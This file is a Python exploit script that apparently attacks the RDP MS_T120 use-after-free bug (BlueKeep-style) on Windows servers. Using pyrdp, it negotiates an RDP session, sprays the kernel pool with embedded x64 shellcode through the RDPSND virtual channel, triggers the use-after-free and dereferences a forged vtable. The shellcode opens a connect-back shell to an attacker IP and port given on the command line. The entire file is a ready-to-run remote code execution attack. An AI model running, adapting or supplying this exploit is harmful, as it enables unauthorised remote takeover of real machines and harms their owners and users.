exploit.py

import os
import argparse
from struct import pack

from twisted.internet import reactor
from twisted.application.reactors import Reactor
from twisted.internet.endpoints import HostnameEndpoint
from twisted.internet.protocol import ClientFactory

from pyrdp.core.ssl import ClientTLSContext
from pyrdp.mitm.layerset import RDPLayerSet
from pyrdp.mitm.state import RDPMITMState
from pyrdp.mitm.config import MITMConfig
from pyrdp.layer import LayerChainItem, VirtualChannelLayer, DeviceRedirectionLayer, ClipboardLayer
from pyrdp.pdu import MCSAttachUserConfirmPDU, MCSAttachUserRequestPDU, MCSChannelJoinConfirmPDU, \
  MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \
  MCSDomainParams, MCSErectDomainRequestPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU, \
  ClientChannelDefinition, PDU, ClientExtraInfo, ClientInfoPDU, DemandActivePDU, MCSSendDataIndicationPDU, \
  ShareControlHeader, ConfirmActivePDU, SynchronizePDU, ShareDataHeader, ControlPDU, DeviceRedirectionPDU, \
  DeviceListAnnounceRequest, X224DataPDU, NegotiationRequestPDU, NegotiationResponsePDU, X224ConnectionConfirmPDU, \
  X224ConnectionRequestPDU, X224DisconnectRequestPDU, X224ErrorPDU, NegotiationFailurePDU, MCSDomainParams,  \
  ClientDataPDU, GCCConferenceCreateRequestPDU, SlowPathPDU, SetErrorInfoPDU, DeviceRedirectionClientCapabilitiesPDU
from pyrdp.enum import NegotiationFailureCode, NegotiationProtocols, EncryptionMethod, ChannelOption, MCSChannelName, \
  ParserMode, SegmentationPDUType, ClientInfoFlags, CapabilityType, VirtualChannelCompressionFlag, SlowPathPDUType, \
  SlowPathDataType, DeviceRedirectionPacketID, DeviceRedirectionComponent, VirtualChannelPDUFlag
from pyrdp.pdu.rdp.negotiation import NegotiationRequestPDU
from pyrdp.pdu.rdp.capability import Capability
from pyrdp.parser import NegotiationRequestParser, NegotiationResponseParser, ClientConnectionParser, GCCParser, \
  ServerConnectionParser
from pyrdp.mcs import MCSClientChannel

# Hard-coded constant
PAYLOAD_HEAD_ADDR = 0xfffffa8008711010 + 0x38

class Exploit(ClientFactory):
  def __init__(self, _reactor: Reactor, host: str, port: int, ip: str, bport: int):
    self.reactor = _reactor
    self.host = host
    self.port = port
    self.ip = ip
    self.bport = bport

    self.server = RDPLayerSet()
    self.server.tcp.createObserver(onConnection = self.sendConnectionRequest)
    self.server.x224.createObserver(onConnectionConfirm = self.onConnectionConfirm)
    self.server.mcs.createObserver(
      onConnectResponse = self.onConnectResponse, 
      onAttachUserConfirm = self.onAttachUserConfirm,
      onChannelJoinConfirm = self.onChannelJoinConfirm,
      onSendDataIndication = self.onSendDataIndication
    )
    self.server.slowPath.createObserver(
      onDemandActive = self.onDemandActive, 
      onData = self.onSlowPathPDUReceived
    )

    config = MITMConfig()
    self.state = RDPMITMState(config)
    self.extra_channels = []
    self.name_to_id = {}
    self.virt_layer = {}

  def appendChannel(self, name, flag):
    self.extra_channels.append(
      ClientChannelDefinition(name, flag)
    )

  def linkChannelIDWithName(self, channelID, name):
    self.state.channelMap[channelID] = name
    self.name_to_id[name] = channelID

  def sendConnectionRequest(self):
    print('Connected to RDP server')
    print('Sending X224ConnectionRequestPDU...')

    proto = NegotiationProtocols.SSL # | NegotiationProtocols.CRED_SSP
    request = NegotiationRequestPDU(None, 0, proto)
    parser = NegotiationRequestParser()
    payload = parser.write(request)
    self.server.x224.sendConnectionRequest(payload)
   
  def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU):
    print('Connection confirmed')
    print('Sending MCSConnectInitialPDU...')

    parser = NegotiationResponseParser()
    response = parser.parse(pdu.payload)
    if isinstance(response, NegotiationFailurePDU):
      print('The negotiation failed: {}'.format(str(NegotiationFailureCode.getMessage(response.failureCode))))
      os.exit(0)

    print('The server selected {}'.format(response.selectedProtocols))
    self.state.useTLS = response.tlsSelected
    if self.state.useTLS:
      self.startTLS()

    gcc_parser = GCCParser()
    client_parser = ClientConnectionParser()

    client_data_pdu = ClientDataPDU.generate(
      serverSelectedProtocol=response.selectedProtocols, 
      encryptionMethods=EncryptionMethod.ENCRYPTION_40BIT
    )
    # Define channels, which include MS_T120 of course
    client_data_pdu.networkData.channelDefinitions += self.extra_channels
    self.state.channelDefinitions = client_data_pdu.networkData.channelDefinitions

    gcc_pdu = GCCConferenceCreateRequestPDU("1", client_parser.write(client_data_pdu))
    
    # FIXME: pyrdp has a typo in this function
    max_params = MCSDomainParams.createMaximum()
    max_params.maxUserIDs = 65535

    mcs_pdu = MCSConnectInitialPDU(
      callingDomain=b'\x01', 
      calledDomain=b'\x01', 
      upward=1, 
      targetParams=MCSDomainParams.createTarget(34, 2),
      minParams=MCSDomainParams.createMinimum(),
      maxParams=max_params,
      payload=gcc_parser.write(gcc_pdu)
    )
    self.server.mcs.sendPDU(mcs_pdu)

  def onConnectResponse(self, pdu: MCSConnectResponsePDU):
    print('Got MCSConnectionResponsePDU')
    gcc_parser = GCCParser()
    server_parser = ServerConnectionParser()
    gcc_pdu = gcc_parser.parse(pdu.payload)
    server_data = server_parser.parse(gcc_pdu.payload)

    print('The server selected {}'.format(str(server_data.securityData.encryptionMethod)))
    self.state.securitySettings.setEncryptionMethod(server_data.securityData.encryptionMethod)
    self.state.securitySettings.setServerRandom(server_data.securityData.serverRandom)
    if server_data.securityData.serverCertificate:
      self.state.securitySettings.setServerPublicKey(server_data.securityData.serverCertificate.publicKey)

    for index in range(len(server_data.networkData.channels)):
      channelID = server_data.networkData.channels[index]
      name = self.state.channelDefinitions[index].name
      print('{} <---> Channel {}'.format(name, channelID))
      self.linkChannelIDWithName(channelID, name)

    self.io_channelID = server_data.networkData.mcsChannelID
    self.linkChannelIDWithName(self.io_channelID, MCSChannelName.IO)

    print('Sending MCSErectDomainRequestPDU...')
    erect_pdu = MCSErectDomainRequestPDU(1, 1, b'')
    self.server.mcs.sendPDU(erect_pdu)

    print('Sending MCSAttachUserRequestPDU...')
    attach_pdu = MCSAttachUserRequestPDU()
    self.server.mcs.sendPDU(attach_pdu)

  # Issue one ChannelJoinRequest
  # If all the requests are consumed, then send SecurityExchangePDU and ClientInfoPDU
  def consumeChannelJoinRequestOrFinish(self):
    if self.channel_join_req_queue:
      channelID = self.channel_join_req_queue.pop()
      name = self.state.channelMap[channelID]
      print('Attempting to join {}...'.format(name))
      join_pdu = MCSChannelJoinRequestPDU(self.initiator, channelID, b'')
      self.server.mcs.sendPDU(join_pdu)
    else :
      self.sendSecurityExchangePDU()
      self.sendClientInfoPDU()

  def onAttachUserConfirm(self, pdu: MCSAttachUserConfirmPDU):
    print('Got MCSAttachUserConfirmPDU')
  
    self.initiator = pdu.initiator
    print('User Channel ID: {}'.format(self.initiator))
    self.linkChannelIDWithName(self.initiator, 'User')

    self.channels = {}
    self.channel_join_req_queue = list(self.state.channelMap.keys())
    self.consumeChannelJoinRequestOrFinish()

  def onChannelJoinConfirm(self, pdu: MCSChannelJoinConfirmPDU):
    if pdu.result != 0:
      print('ChannelJoinRequest failed.')
      os.exit(0)
    print('Joined {}'.format(self.state.channelMap[pdu.channelID]))
    channel = MCSClientChannel(self.server.mcs, self.initiator, pdu.channelID)
    self.channels[pdu.channelID] = channel
    self.setupChannel(channel)
    self.consumeChannelJoinRequestOrFinish()

  def setupChannel(self, channel):
    userID = channel.userID
    channelID = channel.channelID
    name = self.state.channelMap[channelID]

    if name == MCSChannelName.DEVICE_REDIRECTION:
      self.setupDeviceChannel(channel)
    elif name == MCSChannelName.CLIPBOARD:
      self.setupClipboardChannel(channel)
    elif name == MCSChannelName.IO:
      self.setupIOChannel(channel)
    else :
      self.setupVirtualChannel(channel)

  def setupDeviceChannel(self, device_channel):
    security = self.state.createSecurityLayer(ParserMode.CLIENT, True)
    virtual_channel = VirtualChannelLayer(activateShowProtocolFlag=False)
    redirection_layer = DeviceRedirectionLayer()
    redirection_layer.createObserver(onPDUReceived = self.onDeviceRedirectionPDUReceived)
    LayerChainItem.chain(device_channel, security, virtual_channel, redirection_layer)
    self.server.redirection_layer = redirection_layer

  def setupClipboardChannel(self, clip_channel):
    security = self.state.createSecurityLayer(ParserMode.CLIENT, True)
    virtual_channel = VirtualChannelLayer()
    clip_layer = ClipboardLayer()
    clip_layer.createObserver(onPDUReceived = self.onPDUReceived)
    LayerChainItem.chain(clip_channel, security, virtual_channel, clip_layer)

  def setupIOChannel(self, io_channel):
    self.server.security = self.state.createSecurityLayer(ParserMode.CLIENT, False)
    self.server.fastPath = self.state.createFastPathLayer(ParserMode.CLIENT)
    self.server.security.createObserver(onLicensingDataReceived = self.onLicensingDataReceived)

    LayerChainItem.chain(io_channel, self.server.security, self.server.slowPath)
    self.server.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.server.fastPath)

  def setupVirtualChannel(self, channel):
    security = self.state.createSecurityLayer(ParserMode.CLIENT, True)
    layer = VirtualChannelLayer(activateShowProtocolFlag=False)
    layer.createObserver(onPDUReceived = self.onPDUReceived)
    LayerChainItem.chain(channel, security, layer)
    self.virt_layer[channel] = layer

  def onSendDataIndication(self, pdu: MCSSendDataIndicationPDU):
    if pdu.channelID in self.channels:
      self.channels[pdu.channelID].recv(pdu.payload)
    else :
      print('Warning: channelID {} is not included in the maintained channels'.format(pdu.channelID))

  def onLicensingDataReceived(self, data: bytes):
    if self.state.useTLS:
      self.server.security.securityHeaderExpected = False

  def onSlowPathPDUReceived(self, pdu: SlowPathPDU):
    if isinstance(pdu, SetErrorInfoPDU):
      print(pdu)

  def onPDUReceived(self, pdu: PDU):
    print(pdu)
    assert 0

  def sendSecurityExchangePDU(self):
    if self.state.securitySettings.encryptionMethod == EncryptionMethod.ENCRYPTION_NONE:
      return # unnecessary
    # FIXME: we don't support ENCRYPTION_40BIT yet 
    # because by default the server selects ENCRYPTION_NONE when TLS is specified 
    assert 0

  def sendClientInfoPDU(self):
    print('sending ClientInfoPDU...')

    AF_INET = 0x2
    extra_info = ClientExtraInfo(
      AF_INET, 
      'example.com'.encode('utf-16le'), 
      'C:\\'.encode('utf-16le')
    )
    English_US = 1033
    client_info_pdu = ClientInfoPDU(
      English_US | (English_US << 16),
      ClientInfoFlags.INFO_UNICODE, 
      '', '', '', '', '', 
      extra_info
    )
    self.server.security.sendClientInfo(client_info_pdu)

  def onDemandActive(self, pdu: DemandActivePDU):
    print('Got DemandActivePDU')
    print('Sending ConfirmActivePDU...')
    cap_sets = pdu.parsedCapabilitySets
    if CapabilityType.CAPSTYPE_VIRTUALCHANNEL in cap_sets: # FIXME: we should compress data for efficient spraying
      cap_sets[CapabilityType.CAPSTYPE_VIRTUALCHANNEL].flags = VirtualChannelCompressionFlag.VCCAPS_NO_COMPR
    self.has_bitmapcache = False
    if CapabilityType.CAPSTYPE_BITMAPCACHE in cap_sets:
      cap_sets[CapabilityType.CAPSTYPE_BITMAPCACHE] = Capability(CapabilityType.CAPSTYPE_BITMAPCACHE, b"\x00" * 36)
      self.has_bitmapcache = True

    TS_PROTOCOL_VERSION = 0x1
    header = ShareControlHeader(SlowPathPDUType.CONFIRM_ACTIVE_PDU, TS_PROTOCOL_VERSION, self.initiator)
    server_channelID = 0x03EA
    confirm_active_pdu = ConfirmActivePDU(header, pdu.shareID, server_channelID, pdu.sourceDescriptor, -1, cap_sets, None)
    self.server.slowPath.sendPDU(confirm_active_pdu)

    print('Sending SynchronizePDU...')
    STREAM_LOW = 1
    header = ShareDataHeader(
      SlowPathPDUType.DATA_PDU, 
      TS_PROTOCOL_VERSION, 
      self.initiator, 
      pdu.shareID,
      STREAM_LOW, 
      8,
      SlowPathDataType.PDUTYPE2_SYNCHRONIZE,
      0,
      0
    )
    SYNCMSGTYPE_SYNC = 1
    sync_pdu = SynchronizePDU(header, SYNCMSGTYPE_SYNC, server_channelID)
    self.server.slowPath.sendPDU(sync_pdu)

    print('Sending ControlPDU(Cooperate)...')
    header = ShareDataHeader(
      SlowPathPDUType.DATA_PDU, 
      TS_PROTOCOL_VERSION, 
      self.initiator, 
      pdu.shareID,
      STREAM_LOW, 
      12,
      SlowPathDataType.PDUTYPE2_CONTROL,
      0,
      0
    )
    CTRLACTION_COOPERATE = 4
    control_pdu = ControlPDU(header, CTRLACTION_COOPERATE, 0, 0)
    self.server.slowPath.sendPDU(control_pdu)

    print('Sending ControlPDU(Request Control)...')
    CTRLACTION_REQUEST_CONTROL = 1
    control_pdu = ControlPDU(header, CTRLACTION_REQUEST_CONTROL, 0, 0)
    self.server.slowPath.sendPDU(control_pdu)

    if self.has_bitmapcache:
      print('Sending PersistentKeyListPDU...')
      header = ShareDataHeader(
        SlowPathPDUType.DATA_PDU, 
        TS_PROTOCOL_VERSION, 
        self.initiator, 
        pdu.shareID,
        STREAM_LOW, 
        0,
        SlowPathDataType.PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST,
        0,
        0
      )
      # This PDU is hard-coded because pyrdp doesn't support it... 
      payload = b'\x00' * 20 + b'\x03' + b'\x00' * 3
      pers_pdu = SlowPathPDU(header, payload)
      self.server.slowPath.sendPDU(pers_pdu)
    
    print('Sending FontListPDU...')
    header = ShareDataHeader(
      SlowPathPDUType.DATA_PDU, 
      TS_PROTOCOL_VERSION, 
      self.initiator, 
      pdu.shareID,
      STREAM_LOW, 
      0,
      SlowPathDataType.PDUTYPE2_FONTLIST,
      0,
      0
    )
    # This PDU is also hard-coded... 
    payload = b'\x00' * 4 + b'\x03\x00' + b'\x32\x00'
    font_pdu = SlowPathPDU(header, payload)
    self.server.slowPath.sendPDU(font_pdu)
    print('Completed handshake')

  def writeDataIntoVirtualChannel(self, name, data: bytes, length=-1, flags=VirtualChannelPDUFlag.CHANNEL_FLAG_FIRST | VirtualChannelPDUFlag.CHANNEL_FLAG_LAST):
    channelID = self.name_to_id[name]
    channel = self.channels[channelID]
    
    # Send VirtualChannelPDU(manually)
    payload = b''
    if length == -1:
      length = len(data)
    payload += pack('<I', length)
    payload += pack('<I', flags)
    payload += data
    MAX_CHUNK_SIZE = 1600
    assert len(payload) <= MAX_CHUNK_SIZE
    # Since we send (possibly) a bit malformed pdu, we don't use virt_layer.sendBytes
    self.virt_layer[channel].previous.sendBytes(payload)

  def onDeviceRedirectionPDUReceived(self, pdu: DeviceRedirectionPDU):
    if pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_SERVER_ANNOUNCE:
      print('Server Announce Request came')
      print('Sending Client Announce Reply...')
      reply_pdu = DeviceRedirectionPDU(
        DeviceRedirectionComponent.RDPDR_CTYP_CORE, 
        DeviceRedirectionPacketID.PAKID_CORE_CLIENTID_CONFIRM,
        pdu.payload
      )
      self.server.redirection_layer.sendPDU(reply_pdu)

      print('Sending Client Name Request...')
      payload = b''
      payload += pack('<I', 0)
      payload += pack('<I', 0)
      name = b'hoge\x00'
      payload += pack('<I', len(name))
      payload += name
      client_name_pdu = DeviceRedirectionPDU(
        DeviceRedirectionComponent.RDPDR_CTYP_CORE, 
        DeviceRedirectionPacketID.PAKID_CORE_CLIENT_NAME,
        payload
      )
      self.server.redirection_layer.sendPDU(client_name_pdu)
    elif pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_SERVER_CAPABILITY:
      print('Server Core Capability Request came')
      print('Sending Client Core Capability Response...')
      resp_pdu = DeviceRedirectionClientCapabilitiesPDU(pdu.capabilities)
      self.server.redirection_layer.sendPDU(resp_pdu)
    elif pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_CLIENTID_CONFIRM:
      print('Server Client ID Confirm came')
      print('Sending Client Device List Announce Request...')
      req_pdu = DeviceListAnnounceRequest([])
      self.server.redirection_layer.sendPDU(req_pdu)

      print('Completed Devicve FS Virtual Channel initialization')
      self.runExploit()
    else :
      print(pdu)

  def triggerUAF(self):
    print('Trigger UAF')
    payload = b"\x00\x00\x00\x00\x00\x00\x00\x00\x02"
    payload += b'\x00' * 0x22
    self.writeDataIntoVirtualChannel('MS_T120', payload)

  def dereferenceVTable(self):
    print('Dereference VTable')
    RN_USER_REQUESTED = 0x3
    dpu = MCSDisconnectProviderUltimatumPDU(RN_USER_REQUESTED)
    self.server.mcs.sendPDU(dpu)

  def runExploit(self):
    # see shellcode.s
    shellcode = b'\x49\xbd\x00\x0f\x00\x00\x80\xf7\xff\xff\x48\xbf\x00\x08\x00\x00\x80\xf7\xff\xff\x48\x8d\x35\x41\x01\x00\x00\xb9\xc1\x01\x00\x00\xf3\xa4\x65\x48\x8b\x3c\x25\x38\x00\x00\x00\x48\x8b\x7f\x04\x48\xc1\xef\x0c\x48\xc1\xe7\x0c\x48\x81\xef\x00\x10\x00\x00\x66\x81\x3f\x4d\x5a\x75\xf2\x41\xbf\x3e\x4c\xf8\xce\xe8\x52\x02\x00\x00\x8b\x40\x03\x83\xe8\x08\x41\x89\x45\x10\x41\xbf\x78\x7c\xf4\xdb\xe8\x21\x02\x00\x00\x48\x91\x41\xbf\x3f\x5f\x64\x77\xe8\x30\x02\x00\x00\x8b\x58\x03\x48\x8d\x53\x28\x41\x89\x55\x00\x65\x48\x8b\x2c\x25\x88\x01\x00\x00\x48\x8d\x14\x11\x48\x8b\x12\x48\x89\xd0\x48\x29\xe8\x48\x3d\x00\x05\x00\x00\x77\xef\x41\x89\x45\x08\x41\xbf\xe1\x14\x01\x17\xe8\xf8\x01\x00\x00\x8b\x50\x03\x83\xc2\x08\x48\x8d\x34\x19\xe8\xd4\x01\x00\x00\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x11\x48\x29\xd1\xeb\xe7\x41\x8b\x6d\x00\x48\x01\xcd\x48\x89\xeb\x48\x8b\x6d\x08\x48\x39\xeb\x74\xf7\x48\x89\xea\x49\x2b\x55\x08\x41\x8b\x45\x10\x48\x01\xd0\x48\x83\x38\x00\x74\xe3\x49\x8d\x4d\x18\x4d\x31\xc0\x4c\x8d\x0d\x4c\x00\x00\x00\x41\x55\x6a\x01\x68\x00\x08\xfe\x7f\x41\x50\x48\x83\xec\x20\x41\xbf\xc4\x5c\x19\x6d\xe8\x6e\x01\x00\x00\x4d\x31\xc9\x48\x31\xd2\x49\x8d\x4d\x18\x41\xbf\x34\x46\xcc\xaf\xe8\x59\x01\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\x9e\x49\x8b\x45\x28\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\x8b\xeb\xfe\x48\xb8\x00\xff\x3f\x00\x80\xf6\xff\xff\x80\x08\x02\x80\x60\x07\x7f\xc3\x65\x48\x8b\x3c\x25\x60\x00\x00\x00\x41\xbf\xe7\xdf\x59\x6e\xe8\x86\x01\x00\x00\x49\x94\x41\xbf\xa8\x6f\xcd\x4e\xe8\x79\x01\x00\x00\x49\x95\x41\xbf\x57\x05\x63\xcf\xe8\x6c\x01\x00\x00\x49\x96\x48\x81\xec\xa0\x02\x00\x00\x31\xf6\x31\xc0\x48\x8d\x7c\x24\x58\xb9\x60\x00\x00\x00\xf3\xaa\x48\x8d\x94\x24\xf0\x00\x00\x00\xb9\x02\x02\x00\x00\x41\xff\xd4\x6a\x02\x5f\x8d\x56\x01\x89\xf9\x4d\x31\xc9\x4d\x31\xc0\x89\x74\x24\x28\x89\x74\x24\x20\x41\xff\xd5\x48\x93\x66\x89\xbc\x24\xd8\x00\x00\x00\xc7\x84\x24\xdc\x00\x00\x00\xc0\xa8\x38\x01\x66\xc7\x84\x24\xda\x00\x00\x00\x11\x5c\x44\x8d\x46\x10\x48\x8d\x94\x24\xd8\x00\x00\x00\x48\x89\xd9\x41\xff\xd6\x48\x8d\x15\x7e\x00\x00\x00\x4d\x31\xc0\x4d\x31\xc9\x31\xc9\x48\x8d\x84\x24\xc0\x00\x00\x00\x48\x89\x44\x24\x48\x48\x8d\x44\x24\x50\x48\x89\x44\x24\x40\x48\x89\x74\x24\x38\x48\x89\x74\x24\x30\x89\x74\x24\x28\xc7\x44\x24\x20\x01\x00\x00\x00\x66\x89\xb4\x24\x90\x00\x00\x00\x48\x89\x9c\x24\xa0\x00\x00\x00\x48\x89\x9c\x24\xa8\x00\x00\x00\x48\x89\x9c\x24\xb0\x00\x00\x00\xc7\x44\x24\x50\x68\x00\x00\x00\xc7\x84\x24\x8c\x00\x00\x00\x01\x01\x00\x00\x65\x48\x8b\x3c\x25\x60\x00\x00\x00\x41\xbf\x9f\xb5\x90\xf3\xe8\x96\x00\x00\x00\xeb\xfe\x63\x6d\x64\x00\xe8\x17\x00\x00\x00\xff\xe0\x57\x48\x31\xff\x48\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x84\xc0\x75\xf6\x48\x97\x5f\xc3\x57\x56\x53\x51\x52\x55\x8b\x4f\x3c\x8b\xac\x0f\x88\x00\x00\x00\x48\x01\xfd\x8b\x4d\x18\x8b\x5d\x20\x48\x01\xfb\x67\xe3\x2b\x48\xff\xc9\x8b\x34\x8b\x48\x01\xfe\xe8\xbe\xff\xff\xff\x44\x39\xf8\x75\xea\x8b\x5d\x24\x48\x01\xfb\x66\x8b\x0c\x4b\x8b\x5d\x1c\x48\x01\xfb\x8b\x04\x8b\x48\x01\xf8\xeb\x03\x48\x31\xc0\x5d\x5a\x59\x5b\x5e\x5f\xc3\x57\x41\x56\x48\x8b\x7f\x18\x4c\x8b\x77\x20\x4d\x8b\x36\x49\x8b\x7e\x20\xe8\x95\xff\xff\xff\x48\x85\xc0\x74\xef\x41\x5e\x5f\xc3\xe8\xdb\xff\xff\xff\xff\xe0'
    # FIXME: hard-coded ip address and port number
    assert self.ip.count('.') == 3
    dots = [int(v) for v in self.ip.split('.')]
    val = 0
    for i in range(4):
      assert 0 <= dots[i] <= 255
      val += dots[i] << (8*i)
    tmp = shellcode[:0x1dd]
    tmp += pack('<I', val)
    tmp += shellcode[0x1e1:0x1e9]
    tmp += pack('>H', self.bport)
    tmp += shellcode[0x1eb:]
    shellcode = tmp

    for j in range(0x10000):
      if j%0x400 == 0:
        print(hex(j))

      payload = b'' # PAYLOAD_HEAD_ADDR
      payload += pack('<Q', PAYLOAD_HEAD_ADDR+8) # vtable
      payload += shellcode
      payload = payload.ljust(1580, b'X')
      assert len(payload) == 1580
      self.writeDataIntoVirtualChannel('RDPSND', payload)

    self.triggerUAF()
    for j in range(0x600):
      if j%0x40 == 0:
        print(hex(j))
      payload = b''
      # resource + 0x20 
      payload += pack('<Q', 0) # Shared
      payload += pack('<Q', 0) # Exc
      payload += pack('<Q', 0xdeadbeeffeedface)
      payload += pack('<Q', 0xdeadbeeffeedface)
      payload += pack('<I', 0x0)
      payload += pack('<I', 0x0)
      payload += pack('<I', 0x0) # NumShared
      payload += pack('<I', 0x0)
      payload += pack('<Q', 0x0)
      payload += pack('<Q', 0xcafebabefeedfeed)
      payload += pack('<Q', 0x0) # SpinL
      # resource2
      payload += pack('<Q', 0xcafebabefeedfeed)  
      payload += pack('<Q', 0xfeedfeed14451445)  
      payload += pack('<Q', 0)  
      payload += pack('<H', 0)  # Active
      payload += pack('<H', 0) 
      payload += pack('<I', 0) 
      payload += pack('<Q', 0) # Shared
      payload += pack('<Q', 0) # Exc
      payload += pack('<Q', 0xdeadbeeffeedface)
      payload += pack('<Q', 0xdeadbeeffeedface)
      payload += pack('<I', 0x0)
      payload += pack('<I', 0x0)
      payload += pack('<I', 0x0) # NumShared
      payload += pack('<I', 0x0)
      payload += pack('<Q', 0x0)
      payload += pack('<Q', 0xcafebabefeedfeed)
      payload += pack('<Q', 0x0) # SpinL
      # remainder
      payload += pack('<I', 0)
      payload += pack('<I', 0)
      payload += pack('<Q', 0x72)
      payload += b'W' * 8
      payload += pack('<Q', PAYLOAD_HEAD_ADDR) # vtable
      payload += pack('<I', 0x5)
      assert len(payload) == 0x10C - 0x38
      payload += b'MS_T120\x00'
      payload += pack('<I', 0x1f)
      payload = payload.ljust(296, b'Z')
      assert len(payload) == 296
      self.writeDataIntoVirtualChannel('RDPSND', payload)

    print('payload size: {}'.format(len(shellcode)))
    self.dereferenceVTable()

  def startTLS(self):
    contextForServer = ClientTLSContext()
    self.server.tcp.startTLS(contextForServer)

  def buildProtocol(self, addr):
    return self.server.tcp

  def run(self):
    endpoint = HostnameEndpoint(reactor, self.host, self.port)
    endpoint.connect(self)
    self.reactor.run()
    
def main():
  parser = argparse.ArgumentParser()
  parser.add_argument("rdp_host", help="the target RDP server's ip address")
  parser.add_argument("-rp", "--rdpport", type=int, default=3389, help="the target RDP server's port number", required=False)
  parser.add_argument("backdoor_ip", help="the ip address for connect-back shellcode")
  parser.add_argument("-bp", "--backport", type=int, default=4444, help="the port number for connect-back shellcode", required=False)

  args = parser.parse_args()
  exploit = Exploit(reactor, args.rdp_host, args.rdpport, args.backdoor_ip, args.backport)
  #exploit.appendChannel('drdynvc', ChannelOption.CHANNEL_OPTION_INITIALIZED)
  #exploit.appendChannel(MCSChannelName.CLIPBOARD, ChannelOption.CHANNEL_OPTION_INITIALIZED)
  exploit.appendChannel(MCSChannelName.DEVICE_REDIRECTION, ChannelOption.CHANNEL_OPTION_INITIALIZED)
  exploit.appendChannel('RDPSND', ChannelOption.CHANNEL_OPTION_INITIALIZED)
  exploit.appendChannel('MS_T120', ChannelOption.CHANNEL_OPTION_INITIALIZED)
  exploit.run()
  print('done')

if __name__ == '__main__':
  main()